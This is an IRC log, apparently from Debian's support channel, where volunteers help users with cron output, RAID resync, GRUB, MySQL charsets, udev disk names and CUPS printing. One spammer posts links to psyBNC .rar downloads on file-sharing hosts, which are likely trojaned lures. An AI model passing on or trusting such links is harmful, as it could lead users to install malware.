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01:50<mororo>I wish you a beautiful day I have a problem with my cron sender and a blank e-mail to my mail does not help or starting jobs at the end add:>> / dev / null 2> & 1 podpověd thanks for and sorry for my English
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01:53<jm_>you want cron *not* to send mails?
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01:55<mororo>No. I want to send mail only if the cron is something to be written, so an error but a blank e-mails do not want
01:57<jm_>you only need to do >/dev/null then for normal tools
01:58<jm_>without spaces like in your message
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01:59<canty>alguen habla español?
02:00<mororo>Yes I got there just google translate did this gap and yet to me it goes but it's kind of tasks which I do not want any,
02:01<devil>!es
02:01<dpkg>Este canal es de soporte tecnico en Ingles para Debian. Si prefiere que el soporte sea en espanol, por favor ingrese a #debian-es con /join #debian-es tecleado en la linea de chat.
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02:02-CUTEESGIRL:#debian-download this http://www.1filesharing.com/download/0PF3RZH5/psyBNC2.3.1_6.rar
02:02<CUTEESGIRL>download this http://uploadmirrors.com/download/0ASMJUI7/psyBNC2.3.1_1.rar
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02:05<mororo>"*/1 * * * * wget http://80.79.29.160/cron/cs/check.php; rm check.php >/dev/null" That's how I have well-defined and I receive mail
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02:06<jm_>that is wrong since you didn't send wget's output to /dev/null ...
02:06<jm_>wget http://80.79.29.160/cron/cs/check.php >/dev/null; rm check.php>/ev/null
02:07<jm_>although normally you don't need to do this with rm
02:07<mjt>wget -O /dev/null http://...
02:08<jm_>yes, that's even better
02:08<mjt>or -O - http:// > /dev/null
02:08<jm_>I was just trying to point out his way doesn't work for both commands
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02:08<jm_>I wonder how many holes are in those psybnc files
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02:09<mjt>what's the current directory of a cron job? :)
02:09<mororo>I'm a jerk and I never thought of it yet to send a blank e-mail, I thought that if there is no output in cron will not send it (This is another PHP Cron)
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02:10<mjt>PHP cron??
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02:10<mjt>reminds me sendmail written in visual basic...
02:11<mororo>I admit that I do not know that cron I sent did pal
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02:12<mororo>Cron that runs through the php curl with no output
02:12<mororo>/root/croncurl.sh
02:13<mororo>croncurl.sh - curl --silent --compressed http://.../css.php
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02:14<mororo>css.php although it has no output to send email
02:15<jm_>maybe you should check what --silent means for curl
02:15<jm_>!cz
02:15<dpkg>extra, extra, read all about it, cz is Czech Republic. Kanal pro cechy je #debian-cz
02:15<jm_>also try asking there
02:17<mororo>I was looking for Czech channels and I could not find him around there is never so sorry to the poisons that are here. I do not know what the --silent guns. I have it removed?
02:18<jm_>it means curl produces no output
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02:18<mjt>wget -q
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02:20<mororo>I do not mind I'm having a chit for what I'll try I'll try to search through thanks for the help.
02:20<mororo>Php if you need to have the output will be listed and to send but not as if the withdrawal is not sent to that channel and nobody is really
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02:22<NickW>exim4 + dovecot question...anyone still awake?
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02:34<qq->!knoppix
02:34<dpkg>Knoppix is _not_ Debian. Seek Knoppix help in freenode's #knoppix. Knoppix is a live CD distribution which is <based on Debian>, useful as a rescue CD, to test hardware, and for situations where you have access to a computer but it isn't Debian. http://www.knoppix.com/ unofficial: http://Debian-knoppix.alioth.Debian.org/ <Debian-live> is the Debian equivalent for publishing live systems.
02:34<And1>Hi folks. Is there a way to "clear" the mbr of one of my HDs?
02:35<jm_>yes
02:35<qq->!fixmbr
02:35<dpkg>To reinstall <GRUB> simply boot to your Debian install disk, live CD or whatever else you have, switch to the other console (Alt-F2), then mount your root filesystem (mount -t ext2 /dev/whatever /target ; mount --bind /dev /target/dev ; mount -t proc none /target/proc), then chroot into it (chroot /target) and run "update-grub && grub-install /dev/whatever". Also ask me about <rescue mode>, <dual boot guide>, <supergrub>.
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02:36<NickW>I'm using Knoppix right now, but the box I'm configuring is sitting beside me, pure Debian and no GUI :)
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02:38<And1>Ok thanks. :)
02:38<And1>And how can I manually resync a raid1 array with mdadm?
02:38<And1>My swap partition is marked as "resync=PENDING" in /proc/mdstat.
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02:42<NickW>And1, I know this...just had to do it the other day
02:43<NickW>give me a sec to remember/re-look it up
02:43<And1>NickW: Thanks. :)
02:44<NickW>is it showing auto-read-only?
02:44<And1>Yup.
02:44<NickW>ok...got it: mdadm --readwrite /dev/mdX where X is the identifier for your array
02:46<NickW>And1, that do it for ya?
02:46<And1>NickW: Works, thanks. =)
02:47<And1>jm_, qq-: Do I have to install GRUB to an md-device, or the single sd-devices?
02:48<NickW>And1, install Grub to the single sd device
02:49<And1>I'll try to reboot. :)
02:49<NickW>what I did on the server I'm setting up is partition each drive into 4 parts (exact same partition scheme on each)
02:50<NickW>then, I created 3 md devices -- the first RAID 1 for /boot the second RAID 1+0 for / and the third RAID 1+0 for swap (never use the swap anyway, but like to have some)
02:50<NickW>I let it install GRUB to the MBR of the first disk (sda) but then manually installed in on sdb as well...now if any one drive fails the machine can still boot and run
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02:57<And1>NickW: The problem is... (was...) for about more than 2 years now, GRUB didn't get started from my HDs. Some friends of me and I also tried it some days ago again. So I had to boot from an USB drive. Then I just rebooted and got an error 15, then I tried again to install GRUB to my HDs and now it works. That's very very strange...
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03:00<NickW>hmmm, error 15 seems familiar, but I don't remember it off the top of my head -- but I'd say if it's working now, probably no sense in worrying about it
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03:00<NickW>...although, you might want to keep that USB drive around just in case :)
03:00<And1>Yep, heh. :D
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03:01<jm_>error 15 is file not found
03:05<And1>jm_: Yeah there were no images. But that wasn't the problem, 'cause the GRUB never got loaded before. :-o
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03:14<NickW>Is it acceptable to use /home/$local_part/Maildir/INBOX in /etc/exim4/exim4.conf.localmacros or better to make it work using MAILDIR_HOME_MAILDIR_LOCATION=/home/$local_part/Maildir?
03:14<NickW>having the INBOX part on the end makes things work more how I would expect when I monitor what is going on at the server when using Dovecot to access with Thunderbird
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03:18<mjt>is there some reference to nfs4 export options? I'm not seeing the behavour described in the manpages (and lots of stuff is missing from there)
03:20<mjt>in particular, i bind-mounted various filesystem into subdirs of /svc/nfs, and exported these with different options (only one of them can be read from every host for example). But they're all readable to everyone.
03:20<NickW>mjt, the manpages for what? what are you setting up?
03:20<mjt>i'm exporting directories, nothing more
03:22<mjt>the fact that they're all readable sounds very wrong to me, -- for all dirs i have only one particular client allowed, except of one dir which is readable for everyone.
03:22<mjt>with nfsv3 all works as expected
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03:24<NickW>sorry mjt haven't messed with that so I have no ideas
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03:32<mjt>aha. there's #linux-nfs on oftc
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04:46<mjt>am i understand it right that kerberos credentials cache file in /tmp, when stolen, lets the attacker to impersonate the user who owns the cache?
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05:07<amitz>I have an adroid phone that provides an rndis service (usb0: register 'rndis_host' at usb-0000:00:1d.0-1.2, RNDIS device, 5e:10:28:e8:00:aa), but my pc doesn't seem to setup a netowrking interface that uses it, no new entry in ifconfig. Am I approaching this problem wrongly? What's the necessary keyword to learn more about setting up rndis to be used by network interface? debian squeeze
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05:13<amitz>say, does that line means a /dev/ttyUSB0 is set upped? And there may be a conflict if I have a /dev/ttyUSB0 at this momemnt?
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05:42<EmleyMoor>Is a driver for the Syntek Easycap DC60 in Debian or should I build it from SF?
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05:46<EmleyMoor>I'm having trouble even doing that
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06:02<EmleyMoor>I hawe installed the driver but tvtime doesn't like the adapter
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06:03<EmleyMoor>http://paste.debian.net/100431/
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06:22<EmleyMoor>If I can get tvtime to accept it I'll be really happy as mplayer is slightly behind
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07:31<smv>EmleyMoor, is that a webcam or a tv tuner?
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07:44<amitz>I'm answering myself so that others can benefit, turns out that (usb0: register 'rndis_host' at usb-0000:00:1d.0-1.2, RNDIS device, ) means that an interface of usb0 is already made. I just need to wake it up.
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08:03<EmleyMoor>smv: Vidcap device - neither webcam nor tuner
08:05<EmleyMoor>smv: It turns out not to be "real time" enough for my needs - 3 seconds behind
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08:07<csaszi3>balas
08:09<m4n1sh_>I am trying to create a source package, but debuild -S is giving errors http://debian.pastebin.com/TxeMhuq2
08:09<m4n1sh_>dpkg-source: warning: executable mode 0755 of 'autogen.sh' will not be represented in diff
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08:09<m4n1sh_>the initial package worked fine, it started giving problems only after I edited the original source page to add one more section to build a binary package
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08:24<And1>Hi. How do I get my IDE chipset?
08:25<Nemoder>lspci | grep IDE
08:25<And1>Oh, ok, thanks. :)
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08:48<Zathras>Hi. How do I enable UTF-8 support for MySQL on Debian Lenny amd64 please?
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08:52<Deentje>Hello, when i create a directory with an ftp client, is it possible to have the group www-data have the same permissions on the directory as the ftp server.
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09:08<f0rk>Zathras: ? It should support UTF-8 out of the box, did you create your database with 'utf8' as the encoding? http://dev.mysql.com/doc/refman/5.0/en/charset-mysql.html and http://dev.mysql.com/doc/refman/5.0/en/create-database.html
09:08<Zathras>yes. got distracted by an other error/issue. Solved just now. ty
09:09<Zathras>utf8-default charset in my.cnf however leads to not being able to start mysql
09:09<f0rk>is that an actual charset? or is it just utf8
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09:15<Zathras>from inet I got the following config option for my.cnf: default-character-set=UTF-8
09:15<Zathras>that does not work on my install. Mysql starting fails
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09:19<f0rk>Zathras: try default-character-set=utf8
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09:22<Zathras>f0rk, ty, will do so when I can (someone is using the db atm)
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09:27<ix_>cdw needs cdrecord but cdrecord was replaced by wodim, there is an old bug about it
09:28<ix_>so it only needs a link in /usr/bin
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09:29<ix_>it's a bug
09:30<ix_>in squeeze
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09:32<Zathras>seems to work at first glance f0rk (not fully tested)
09:32<Zathras>ty
09:33<f0rk>Zathras: the names of all encodings can be viewed with: mysql> SHOW CHARACTER SET;
09:34<f0rk>UTF-8 isn't the name of the charset, utf8 is
09:34<f0rk>anyway, glad you got it working
09:35<Zathras>are you by any chance the package maintainer?
09:37<Zathras>or do you know that status of the bug that user deletion is problematic for mysql-user in mysql on Debian Squeeze?
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09:43<Lantizia>Hey you know this 2 year fixed thing... does that mean because squeeze was due april 2010 that the next is april 2012 or does it mean if squeeze is out next month the next is december 2012?
09:44<Lantizia>little bird told me the april target was no accident (umbongo lts release same time)
09:46<themill>Lantizia: which "2 year fixed thing" would that be?
09:47<themill>(i.e. other than the one that was completely abandonned)
09:48<Lantizia>actually it was a 2 year cycle to freeze
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09:49<themill>so yes, (a) completely abandonned at this stage and (b) the entire point of it was to share the security support load across distros so the entire point of it was to do things at the same time as other distros.
09:49<Lantizia>so I guess my question is really... 6.0 froze in august so is 7.0 due to freeze august 2012 _or_ since 6.0 was meant to freeze last december is 7.0 due to freeze december 2011
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10:18<bluenemo>hi guys. i use debian testing, and my pata devices appear to me as /dev/sdX as well as the sata devices. is there a way to get the 'good old' /dev/hdX back?
10:18<@weasel>no.
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10:19<@weasel>or well, maybe. but this is the new world oder.
10:19<@weasel>order
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10:21<bluenemo>hm ok sad..
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10:21<bluenemo>if the pata devices appear before the sata devices (pata = /dev/sda & sdb) and sata are then sdc sdd and so on, can i change the numbering if the bios hasnt any options for that?
10:22<bluenemo>btw i thought the new world order was to use UUID's ;)
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10:23<Elessar>MAybe you can make udev rules to do that.
10:23<Elessar>But I do not think it is worth the effort.
10:24<bluenemo>ok thx for the hint. no it isnt worth it, but i was curious
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10:25<f0rk>I have a crontab which doesn't get run: http://nopaste.snit.ch/26070
10:25<f0rk>anyone see any problems with this?
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10:27<bluenemo>i dont know to much about crontab, but this line looks different to the others: 0 */4 * * * /usr/bin/rsnapshot hourly
10:27<bluenemo>what is it with the /4?
10:28<zy>Is this /etc/crontab file or output of crontab -l
10:28<f0rk>crontab -e but yeah
10:28<f0rk>bluenemo: /4 means every 4 hours
10:28<bluenemo>ah ok
10:28<f0rk>zy: definitely not /etc/crontab
10:28<f0rk>that one actually gets run
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10:29<bluenemo>permissions right?
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10:30<zy>what does /var/log/auth.log say about cron jobs?
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10:31<f0rk>zy: session opened and closed for root (this is root's crontab I've pasted)
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10:32<OsirisX>would you recommend GMediaServer, Mediatomb or MythTV for my UPnP DLNA streaming to PS3 needs?
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10:33<zy>f0rk: how do you know they do not run?
10:33<petemc>OsirisX: i use (the non packaged) ps3mediaserver
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10:34<f0rk>cron logs show the commands not being run, and rsnapshot would create folders for hourly, daily, etc backups
10:34<f0rk>err, they don't show the commands
10:34<f0rk>whereas I see the commands in /etc/crontab being run
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10:35<OsirisX>petemc - why did you go that route rather than taking something packaged?
10:35<petemc>OsirisX: had the best features at the time
10:35<petemc>may be different now
10:35<OsirisX>petemc: ok
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10:36<DORZ>Hi guys, do someone heard about what intellectual properties exactly Novell is selling to Microsoft ?
10:36<Elessar>Novell was already friendly to MS.
10:37<OsirisX>petemc: is it java based?
10:37<petemc>yes
10:37<DORZ>Elessar , what could be the worst scenario on your mind ? http://www.techeye.net/business/novell-sells-itself-flogs-intellectual-property-to-microsoft
10:38<Elessar>Some patent war. I would love to see the situation explode, software patents are coming to such an absurdity.
10:38<zy>f0rk: what does /var/log/syslog say when auth.log says session openned ?
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10:39<DORZ>Elessar, totaly agree
10:39<OsirisX>petemc: can you interface with apple trailers?
10:39<f0rk>zy: e.g.: /USR/SBIN/CRON[1358]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)
10:40<mAniAk->can you install grub on a ntfs partition?
10:41<DORZ>mAniAk-, i don't think so ... stage1,5 and 2 should be located on a 0x83 partition on my mind
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10:41<mjt>DORZ: it does not care about partition types a single bit
10:42<mjt>there's grub4dos project that can be installed into ntfs natively too
10:42<DORZ>mjt , Yes ? how does it locates his next stage ? good to know
10:42<mjt>it's explained in its documentation actually - exact steps ;)
10:43<mjt>basically it's where you setup it to - (hd4,1) etc
10:43<zy>I do not know what is wrong. Is the crontab install through crontab -e with root? I would suggest putting it in /etc/cron.d
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10:43<mjt>zy: what's you rlocale?
10:43<mjt>your locale even
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10:45<f0rk>zy: yes, it is installed with crontab -e as root
10:45<petemc>OsirisX: never tried, it has lots of features like that tho
10:45<f0rk>zy: would I just copy that cron listing into /etc/cron.d ? sorry I've never worked with /etc/cron.d
10:46<OsirisX>petemc: ok thanks
10:47<zy>f0rk: example: 30 7 * * * root test -x /etc/init.d/anacron && /usr/sbin/invoke-rc.d anacron start >/dev/null
10:47<zy>f0rk: One more column "root" which means the cmd run as user root
10:48<zy>f0rk: otherwise the same with the crontab edited with crontab -e
10:48<friTTe|>\o
10:48<f0rk>zy: what should the file be named?
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10:51<zy>f0rk: any name with some rules, which I do not remember. To be safe, it can be any combination of a-z
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10:53<f0rk>zy: and permissions -rw-r--r-- 1 root root should be ok?
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10:54<zy>yes
10:54<f0rk>zy: thank you, I'll see what happens
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11:33<mib_pohil>i need networking help for my debian etch NAS: I am unable to connect (ssh) to it on the lan (eth1) interface
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11:33<mib_pohil>it is a NAS so I am not able to connect a screen, but i mounted the HDD, i can provide logs
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11:34<mib_pohil>can I paste here the logs? I have prepared the syslog, messages, hosts, resolv.conf and interface file. Can you help me? Or am I wrong here?
11:35<f0rk>!nopaste
11:35<dpkg>Do not paste more than 2 lines to this channel. Instead, use: http://paste.debian.net/ http://pastie.org/ http://pastebin.com/ http://pastebin.ca/ or http://picpaste.com/ for pics. Use wikisend.com for large files (think tar.gz) up to 100MB. Remember to tell us the URL of your paste! Cannot cut and paste? Ask me about <pastebinit>, <paste2pastebin.pl>, <wgetpaste>.
11:35<smv>!pastebin
11:36<mib_pohil>thanks. here you go: http://debian.pastebin.com/SHtCcsWP, http://debian.pastebin.com/SHtCcsWP, http://debian.pastebin.com/SHtCcsWP, http://debian.pastebin.com/SHtCcsWP, http://debian.pastebin.com/N4t0NBjJ
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11:38<mib_pohil>thank you very much. Your help is very appreciated. Because I have no clue what the problem could be, and I've tried already a lot of things
11:38<smv>mib_pohil, you gave only 2 links actually. one of them is repeated 4 times.
11:38<mib_pohil>Note also that it might be a very stupid and little problem since it worked without problems a week ago
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11:39<smv>do you remember what where you doing when it broke? :)
11:39<mib_pohil>http://debian.pastebin.com/SHtCcsWP, http://debian.pastebin.com/p51NF0FU, http://debian.pastebin.com/thfS3TRw, http://debian.pastebin.com/iVRRkZEV, http://debian.pastebin.com/N4t0NBjJ
11:39<mib_pohil>sorry
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11:39<mib_pohil>copy & paste problem!!!
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11:41<jhutchins_lt>mib_pohil: You say y9ou can't connect via eth1 - what error do you get? Can you ping eth1? Is the wireless interface available?
11:41<mib_pohil>before it broke, I copied the /etc/interface file to a silimar NAS device and maybe I introduced an error. But I can't remember of any other change on that NAS!!!
11:41<jhutchins_lt>mib_pohil: Not knowing what hardware it is or how it's supposed to be set up makes it difficult to guess. It looks like it's trying to set up some sort of bridged connection toward the end of the log.
11:41<f0rk>is auto eth1 followed by iface eth1 inet static correct?
11:42<koollman>f0rk: yes
11:42<f0rk>derp
11:42<f0rk>now I remeber what it means
11:44<jhutchins_lt>If you've duplicated a static IP that would cause one of them to fail.
11:44<mib_pohil>no response on the ping ... (network unreachable), and what is strange is that the interface does not blink anymore. only one led of the two is on!
11:44<jhutchins_lt>Can you reach eth0?
11:44<jhutchins_lt>mib_pohil: That says it's not up.
11:44<mib_pohil>no, not even that!
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11:45<f0rk>ifup eth1
11:45<jhutchins_lt>mib_pohil: Either the driver is not loaded or the cable isn't connected. I presume it connects to a switch? Can you try another port?
11:45<mib_pohil>I also think that it is not up... put what can be the reason what should I do
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11:45<jhutchins_lt>You can reach none of the three interfaces, eth0, eth1, and wlan0?
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11:46<mib_pohil>no, at the moment I can't reach one of than. Beforehand all of them were working ok!
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11:48<mib_pohil>I can't connect to the device, therefore I can't try ifup eth1 anymore. Any suggestion how to test it nonetheless.
11:49<f0rk>are you on the same network as the device?
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11:52<kenoby>jhutchins_lt, i managed to install dropbox on squeeze adding deb-src from sid as you suggested, thanks a lot
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11:53<smv>mib_pohil, in http://debian.pastebin.com/iVRRkZEV i saw many networking errors. perhaps investigate starting from there. anyway, it's beyound my knowledge, hopefully someone else knows what to do...
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11:53<uncaer9>hello. teamspeak don't work with alsa microphone, on pulseaudio i can only choose "analog stereo" which is mix of all devices(i'm not sure, i can't hear clear microphone sound).
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11:58<uncaer9>how to mute second microphone, and line-in in PULSEAUDIO?
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11:59<cahoot>uncaer9: checked if pavucontrol gives you the option?
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12:01<f0rk>zy: that worked, thank you
12:01<jhutchins_lt>kenoby: Thanks for the follow-up.
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12:06<mib_pohil>is there something suspicious in the logs
12:06<mib_pohil>?
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12:08<f0rk>mib_pohil: Nov 22 16:55:59 bubba kernel: br0: port 1(eth1) entering disabled state
12:08<f0rk>maybe, maybe not
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12:09<collette>I'm working on my first linux install, debian 4 on a 500Mhz emachines.
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12:09<mib_pohil>yes, I also noticed that line. But what could be the cause? How to test? How to proceed? I only can change the files on the HDD if that could help... Maybe I should at a init script that makes some tests? Could somebody assist or make a better suggestion?
12:09<jhutchins_lt>collette: Debian 4 is not currently supported, it's essentially obsolete.
12:10<collette>I want to change the video card
12:10<collette>wouldn't debian 5 be too much for this little machine?
12:10<mib_pohil>... i mean "maybe I could add an init script" ... sorry for my english
12:10<jhutchins_lt>collette: No, in fact Lenny runs significantly better on most systems.
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12:12<collette>Ok, I guess my new question is whether I need to dnld another ISO and start over. Can I upgrade from here?
12:13<babilen>dpkg: etch->lenny
12:13<dpkg>Read the release notes, ask me about <lenny release notes>. Ensure your Etch installation is up to date, ask me about <etch sources.list> (aptitude update; aptitude dist-upgrade). Then ask me about <lenny sources.list>. aptitude update; aptitude install aptitude; aptitude safe-upgrade; aptitude full-upgrade. Also ask me about <apt-listbugs>, <etch->lenny key>.
12:13<jhutchins_lt>collette: Yes, upgrades work very well.
12:13<jhutchins_lt>collette: Especially if you haven't done a lot of customization yet.
12:13<babilen>collette: Also make sure to read the release notes for Lenny, they explain the upgrade process in great detail.
12:13<uncaer9>ok, i know what's the problem with pulseaudi, i hear in input sound from output
12:14<jhutchins_lt>uncaer9: What do you need pulseaudio for?
12:14<cahoot>default in ubuntu?
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12:15<uncaer9>teamspeak don't work with alsa
12:15<jhutchins_lt>cahoot: I think it's the default in squeeze too.
12:15<jhutchins_lt>I had to disable it to get my mic to work.
12:15<collette>Thanks very much. I'll give it a go. But first, I looked up system requirements and read that Debian 5.0 requires a Gig of RAM& I have 256MB on this little box.
12:16<pipe>What? A gig of ram?
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12:17<pipe>I run it on a laptop with 64MB, it used 10MB after boot at first install if I remember correctly
12:17<collette>alright I'm convinced. Thanks again
12:17<pipe>That is of course without a graphical desktop.
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12:18<collette>so pipe, should I want a graphical desktop...
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12:18<pipe>LXDE is the way to go
12:18<pipe>IMHO
12:18<jhutchins_lt>collette: We'll be able to help with the video card better too, few of us still run etch.
12:18<smv>i use gnome daily with only 512MB ram, so i guess other wmv would work in 256MB ram
12:18<pipe>I think I've run Debian with LXDE desktop on that laptop actually
12:19<smv>s/wmv/WMs
12:19<pipe>At least on another laptop with 128MB
12:19<collette>OK. Hope to see you all again soon.
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12:19<jhutchins_lt>Even laptops are pretty easy to upgrade these days.
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12:22<pipe>Possibly.
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12:22<pipe>Do you think a laptop with 64MB of RAM counts as "these days"? :)
12:22<pipe>It's already expanded from 32.
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12:30<jhutchins_lt>pipe: Sure does. I've been having this discussion a lot lately: How do I install an obsolete version of Linux because I have old hardware?
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12:31<jhutchins_lt>pipe: I've been trying to convince people to look at current versions intended for older and low-spec hardware instead.
12:32<f0rk>we still run p3's in production
12:32<pipe>Well. A modern debian works great on older hardware in my experience.
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12:32<f0rk>cpu MHz : 447.700
12:32<iotaka>hi, I have just upgraded an old server. Now with the new udev it swap pata and sata driver every boot. With UID I'm abel to boot but the machine is used to do bacukps and the script used us /dev/sd? (I can't use UID for disk swapped often). There is a way to map sda to pata disk? I must change the load roder of modules? thank you
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12:33<jhutchins_lt>!70
12:33<dpkg>udev has the ability to statically rename Ethernet cards based on MAC address since version 0.090. The addresses are configured in /etc/udev/rules.d/70-persistent-net.rules (Lenny, Squeeze) or /etc/udev/rules.d/z25_persistent-net.rules (Etch). If you want the mappings to change, edit the respective file. To apply changes: "udevadm trigger" ("udevtrigger" on Etch) or reload the relevant driver module. See also <forcedeth mac>, <udev>.
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12:34<jhutchins_lt>Hm, that's network cards.
12:34<jhutchins_lt>iotaka: There's a similar rule for HD's iirc.
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12:35<iotaka>jhutchins_lt: I not understand
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12:35<uncaer9>i'm trying to use teamspeak with OSS emulation, and i only get this" 2010-11-22 18:34:43.692956|INFO |CapSoundSet | | Invalid captureDevice in Config File, (profile, captureDevice) = (Default, /dev/dsp)
12:35<uncaer9>"
12:36<iotaka>jhutchins_lt: you mean to copy a thing similar to this? SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:11:d8:89:15:a1", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"
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12:36<jhutchins_lt>iotaka: There are rules in /etc/udev/rules.d that determine what the disks are called.
12:37<jhutchins_lt>iotaka: I don't know the details, I'm hoping someone else will.
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12:37<iotaka>jhutchins_lt: the only rules presnet in /etc/udev/rules.d/ are related to NET and CD/DVD
12:37<iotaka>I'm trying to do one for HD
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12:38<jhutchins_lt>iotaka: I'm sure someone's addressed this in Debian, I just don't know the details.
12:38<jhutchins_lt>iotaka: Possibly search the wikin and the forums?
12:39<f0rk>iotaka: http://reactivated.net/writing_udev_rules.html
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12:45<iotaka>f0rk: thnks, this guide is referred to use udevinfo that was used, now you must use "udevadm info -a ..."
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12:47<uncaer9>ok, ALSA OSS emulation works with teamspeak, but i can't hear anything from input. what should i put to .asoundrc
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12:54<uncaer9>can someone help me? how to make microphone working with alsa OSS emulation>
12:54<uncaer9>?
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12:54<drone77>shit
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12:54<drone77>oops sorry, wrong tab...
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12:54<f0rk>iotaka: /usr/bin/udevinfo -> /sbin/udevadm
12:55<f0rk>just a symlink on my system
12:55<uncaer9>fu** im going back to windows...
12:56<f0rk>uncaer9: why? you may need to be patient
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12:56<f0rk>try the mailing list
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12:56<cahoot>uncaer9: not waiting for smpathy?
12:56<babilen>uncaer9: or #alsa on freenode
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12:58<babilen>uncaer9: I guess that a lot of people in here have (like me) never used teamspeak or alsa'a oss emulation. All I could to is ask you if you raised the volume on your microphone within alsamixer and unmuted the channel. If you haven't done that and that solves the problem grea, if not, wait for some alsa guru
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13:05<shaneo>can someone help me with getting my broadcom sta wireless driver to work
13:05<bja>!tell shaneo about ask
13:06<cahoot>http://wiki.debian.org/WiFi
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13:07<shaneo>I have a problem with Broadcom Sta Wireless Driver. I am running Ubuntu 10.10. When I try to connect it says no networks found.
13:07<bja>!tell shaneo about ubuntu
13:07<shaneo>oh sorry
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13:07<bja>np
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13:27<collette>I'm back
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13:29<retrospectacus>welcome back, collette
13:29<collette>thanks. I'm working on my first installation of linux
13:30<collette>I was sent to upgrade to lenny
13:31<retrospectacus>not sure why you would need to upgrade TO lenny if this is your first installation, but OK
13:31<collette>which as it turns out I had accidentally installed in the first place. I thought I was installing Debian 4.0
13:31<retrospectacus>mmmmk
13:32<collette>and now I'm setting up a printer
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13:33<retrospectacus>!tell collette -about print
13:34<collette>i found a tutorial on youtube
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13:50<max_>Hi
13:51<max_>>_> <_<
13:51<max_>Not talking eh
13:51<max_>Mother fuckers.
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13:51<retrospectacus>max_: thank you for leaving
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13:58<collette>Hi, I'm trying to install an HP Laserjet 3150 on an LPT port using CUPS. I'm stuck on entering URI. Does anyone know what I should enter?
13:58<collette>the driver is HPLIP
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13:59<retrospectacus>should be lpt://1 or something like that
13:59<cahoot>collette: you use the web interface?
14:00<retrospectacus>doesn't it show some example?
14:00<jordanm>I just use the HP GUI thing... makes it really easy
14:00<collette>the CUPS interface had an example for HP JetDirect
14:00<jordanm>,info hplip-gui
14:00<judd>Package hplip-gui (utils, optional) in lenny/i386: HP Linux Printing and Imaging - GUI utilities. Version: 2.8.6.b-4; Size: 50.7k; Installed: 120k; Homepage: http://hplip.sourceforge.net/; Screenshot: http://screenshots.debian.net/package/hplip-gui
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14:01<collette>thanks retrospectacus, judd, jordanrr, cahoot. I will check back in
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14:06<stbe1014>i think about updating to squeeze from lenny, can anyone tell me about the stability at the moment?
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14:07<retrospectacus>stbe1014: it's very good for me
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14:08<stbe1014>i use the system during study to work, so it's a little bit more important that it works fine and no big configuration trouble
14:08<retrospectacus>stbe1014: talk to dpkg about lenny->squeeze before you start
14:09<stbe1014>also, i am able to use just a resolution of 1280*768
14:09<stbe1014>for my new samsung flat screen
14:09<stbe1014>it's a intel gma 3100
14:09<stbe1014>and i hope that will be fixed with squeeze
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14:11<retrospectacus>stbe1014: I'm guessing the monitor supports a larger area?
14:11<stbe1014>yes
14:11<stbe1014>the best resolution
14:11<stbe1014>would be something about
14:11<stbe1014>1600x ...
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14:12<retrospectacus>well it should work fine on squeeze or lenny. Try the command: xradr -s 1600x... (EXACTLY THE NATIVE RESOLUTION - be sure)
14:13<retrospectacus>typo: xrandr -s 1280x1024
14:13<retrospectacus>eg
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14:13<stbe1014>i look for the optimal resolution and try it out...
14:14<stbe1014>it says
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14:14<stbe1014>not found in available modes
14:15<stbe1014>1680x1050 would be the right
14:15<stbe1014>native mode
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14:19<uncaer9>Ok. just one simple question, do i need to add something .asoundrc to emulate microphone in OSS using alsa??
14:21<collette>I've downloaded and installed hplip-gui. The printer setup wizard says that no HP device is attached to LPTport, even though the printer is attached and turned on.
14:22<collette>This same printer (HP 3150) works on windows XP machines
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14:22<collette>should I restart?
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14:22<stbe1014>try to restart
14:22<stbe1014>if it doesnt work
14:23<stbe1014>check your bios
14:23<stbe1014>about the options of the lpt port
14:23<stbe1014>try to use
14:23<stbe1014>ECP+EPP
14:23<stbe1014>if available
14:23<cahoot>collette: the printer was attached at boot?
14:24<cahoot>collette: I think the output from dmesg would tell if the printer was 'recognised' at boot
14:24<collette>printer was not attached at start
14:24<collette>I will try restarting. Thank you all!
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14:43<dragonkeeper>/usr/src/linux/Documentation/sound/alsa/ALSA-Configuration.txt
14:43<dragonkeeper>oops
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14:49<dragonkeeper>my line in plays on ubuntu 10.10 but i have no control over it and if i change input device it still plays if i try mute it will still play only way i can turn it down is using main volume /..\ can someone help to fix this ?
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14:52<jhutchins_lt>dragonkeeper: Perhpaps someone in #ubuntu, this is #debian.
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14:52<jhutchins_lt>!based on debian
14:52<dpkg>Your distribution may be based on and have software in common with Debian, but it is not Debian. We don't know what changes were made by your distribution and it probably falls short of Debian's standards. #debian only supports Debian; you should respect our choice to volunteer here to help Debian users. Support other distributions is off-topic on #debian, even if your own distro's channel is clueless or non-existent.
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14:54<collette>sigh.
14:55<collette>attempting to install HP Laserjet 3150 on freshly-installed system
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14:55<bja>collette: hplip
14:55<collette>I installed HP-LIP toolbox and when I try to set up device I get "No devices found"
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14:56<bja>Ip device?
14:56<collette>Not an IP device, local printer attached to LPT port
14:56<cahoot>collette: dmesg | grep -i print
14:57<collette>cahoot, are you telling me to enter that command into a terminal window?
14:57<cahoot>yes - sorry
14:57<collette>thanks
14:57<bja>collette: also check the usual missconnected cable and all relevant stuff
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14:58<collette>I got an answer: parport0: Printer, Hewlett-Packard HP LaserJet 3150
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14:59<cahoot>collette: still no printer if you open localhost:631 in your browser?
15:00<collette>checking
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15:00<bja>collette: also remember that you have to choose the right option on hplip so it will actually look for your printer on lpt1
15:01<collette>what is the right option, bja? I'll try to set up in CUPS again
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15:01<collette>cahoot
15:02<collette>cahoot: I opened localhost:631 and there's no printer listed automatically.
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15:02<cahoot>strange
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15:02<cahoot> there is a /dev/lp0?
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15:04<collette>hey when I started the 'add printer' routine it looks like my printer was detected - it's listed
15:04<cahoot>maybe it was just sleepy
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15:11<collette>CUPS recognized my printer
15:11<collette>but the test page didn't print
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15:12<cahoot>look at /var/log/cups/error_log for possible clues
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15:12<collette>OK. There also seems to be a status message: "gutenberg printing page 1, 52%"
15:13<collette>that is an awful long time for 52%. checking error log...
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15:15<collette>error message reads: CUPS-Add-Modify-Printer: Unauthorized
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15:21<jhutchins_lt>collette: It should prompt you for an admin password. Which relase are you using?
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15:21<collette>is 'it' CUPS asking me for admin pw?
15:21<collette>I'm using debian 5.0.6.
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15:24<collette>restartingcups
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15:25<jhutchins_lt>collette: Yes, if you connect to it in your browser as a regular user and click on administer it should prompt you for a username and password.
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15:27<acu>can anyone tell me how to file a bug ? --- change in ownership of folders and subfolders does not work in nautilus
15:27<jhutchins_lt>!bugs
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15:27<dpkg>error: could not parse
